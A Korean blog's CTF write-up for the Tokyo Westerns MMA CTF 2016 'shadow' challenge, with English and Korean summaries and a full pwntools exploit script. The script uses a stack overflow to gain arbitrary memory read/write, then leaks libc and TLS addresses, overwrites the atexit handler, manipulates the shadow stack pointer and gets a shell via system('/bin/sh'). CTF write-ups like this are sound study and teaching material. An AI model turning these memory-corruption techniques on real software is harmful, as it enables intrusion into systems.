본문 바로가기

Games/CTF

Tokyo Westerns MMA CTF 2016 shadow

Summary: 32bit ELF with NX/ASLR but no-PIE is given. call and ret instructions are instrumented and shadow stack is implemented. there is stack based buffer overflow on 'message' function, but this can't be used for manipulating the return address. however, arbitrary memory read/write can be achieved by manipulating the function's arguments.  there is a menu 'change name' which gives arbitrary memory write and read.  

In short, after I change the pointer (message function argument) that is used by 'change name' menu with BOF, I can iterate arbitrary memory read/write as much as we want.  

At first, I changed the atexit handler at libc rw page (offset +0x38), then tried to call exit(0) to get EIP.  However, the exit(0) is outside the message function and message function cannot normally return unless we know the canary or skip the stack frame of message by messing with the ssp.  I used the later approach.

Using the memory R/W primitive, I can leak libc base address and TLS page that is prepended before libc RX page.  The shadow stack uses ssp(shadow stack pointer) and XOR key (for encrypting/decryptin the shadow stack contents) which is located at TLS (gs:~).  we can't directly mess with shadow stack since the access permission is temporarily given when its being used by legitimate codes.  But I can change the "ssp" which is located in TLS and always read/writable.  I changed the SSP to skip the stack frame of message (for bypassing canary check) and return outside the message function and called the exit(0). The end.



요약: 다른건 다걸렸지만 PIE 만 안걸린 32비트 ELF 가 주어짐.  message 함수에서 스택 BOF 가 있지만 canary 도 있고, call/ret 등이 인스트루먼트 되어있어서 리턴주소를 직접 조작할수가 없음.  대신 BOF 를 통해 message 함수의 포인터인자를 수정하면 모든 메모리를 읽고쓰기가 가능함.  이를 이용해서 libc 쪽 atexit 핸들러를 덮고 exit(0) 를 호출하려했는데, message 함수에서 나가기전 스택까나리체크가 있어서 이를 우회하기위해 shadow stack pointer 값을 8정도 add 시켜줘서 shadow stack call 에서의 리턴시에 message 로 돌아오는게 아니라 그 밖으로 바로 나가버리도록 만들어서 exit(0) 불렀음.  exit(0) 하는 시점에서 스택 조금만 pop 하면 내 페이로드가 있으므로 "/bin/sh" 포인터 박아놓고 system 으로 ROP 하면 끝.


$ id

uid=18294744 gid=18294(p18294) groups=18294(p18294)

$ ls

flag

shadow

$ cat flag

TWCTF{pr3v3n7_ROP_u51ng_h0m3m4d3_5h4d0w_574ck}












from pwn import *

context.arch = 'i386'  # i386 / arm


r = remote('pwn2.chal.ctf.westerns.tokyo', 18294)

#r = process(['./shadow'])

raw_input('attach')


# shadow stack pointer at : 0x804a048

r.recvuntil('name : ')

r.sendline('daehee')


binsh = 0x804a770

system = 0xdeadbeef


# stage1. leak everything I need

def leak(addr):

    r.recvuntil('length : ')

    r.sendline('-1')

    r.recvuntil('message : ')

    # buf : bp-0x2c

    canary = 0xcafecafe # canary : bp-0xc

    message = addr # message : bp+0x8

    loopcount = 0x0fffffff # loopcount : bp+0x10

    payload = 'A'*0x20

    payload += pack(canary)

    payload += pack(binsh)

    payload += 'D'*12

    payload += pack(message)

    payload += 'CCCC' # length (big positive value!)

    payload += pack(loopcount)

    r.sendline( payload ) # trigger leak!

    sleep(.1)

    leak = r.recv(8192)

    leak = leak.split(') <')[1].split('\n')[0]

    r.sendline('n') # to continue the leak...

    try:

        return int(leak[:4][::-1].encode('hex'), 16)

    except:

        return 0

    #return leak[:4]


# stage2. arbitrary write

def overwrite(addr, val, val2=0):

    global system

    global binsh

    sleep(.1)

    print r.recv(8192)

    r.sendline('-1')

    sleep(.1)

    print r.recv(8192)

    # buf : bp-0x2c

    canary = system # canary : bp-0xc

    message = addr # message : bp+0x8

    loopcount = 0x0fffffff # loopcount : bp+0x10

    payload = 'A'*0x20

    payload += pack(canary)

    payload += pack(0x91919191)

    payload += pack(binsh)

    payload += 'E'*8

    payload += pack(message)

    payload += 'CCCC' # length (big positive value!)

    payload += pack(loopcount)

    r.sendline( payload ) # trigger leak!

    sleep(.1)

    r.recvuntil('(y/n) : ')

    r.sendline( 'y' )

    r.recvuntil('name : ')

    r.sendline( pack(val)+pack(val2) )



def write2null(addr, val):

    sleep(.1)

    print r.recv(8192)

    r.sendline('-1')

    sleep(.1)

    print r.recv(8192)

    # buf : bp-0x2c

    canary = 0xdeadbabe # canary : bp-0xc

    message = addr # message : bp+0x8

    loopcount = 0x0fffffff # loopcount : bp+0x10

    payload = 'A'*0x20

    payload += pack(canary)

    payload += 'F'*16

    payload += pack(message)

    payload += 'CCCC' # length (big positive value!)

    payload += pack(loopcount)

    r.sendline( payload ) # trigger leak!

    sleep(.1)

    r.recv(8192)

    r.sendline( pack(val) )


'''

1 pattern found.

(gdb) x/10wx 0xf75d9960

0xf75d9960: 0xf77acfe0  

'''

ppr = 0x8048945

exit = leak(0x8049fe4)     # exit.got

libc_base = exit & 0xfffff000

libc_base = libc_base - 0x33000     # correct offset for local/remote

print 'found libc base ', hex(leak(libc_base))

tls = libc_base - 0x1000 + 0x960

#system = libc_base + 0x40190        # local offset

system = libc_base + 0x40190 + 0x180    # remote offset

print 'system: ', hex(system)

sp = leak(tls)

print 'shadow stack pointer: ', hex(sp)

print 'shadow stack pointer2: ', hex(leak(0x804a048))

sbase = sp & 0xfffff000

print 'shadow base:', hex(sbase)

stdout = 0x804a040

libc_rw = leak(stdout) & 0xfffff000

atexit = libc_rw + 0x30

overwrite(atexit, ppr)

print 'atexit overwritten'

write2null(binsh, 0x6e69622f)

write2null(binsh+4, 0x68732f)

print '"/bin/sh" ready'

overwrite(tls, sp+8, sbase)   # maintain sbase!

print 'ssp lifted'


r.interactive()


'Games > CTF' 카테고리의 다른 글

SECCON 2016 chat  (0) 2016.12.11
Tokyo Westerns MMA CTF 2016 interpreter  (0) 2016.09.05
BKP2016 segsh  (0) 2016.06.24
ASIS CTF 2016 books  (0) 2016.05.11
ASIS CTF 2016 feap  (0) 2016.05.11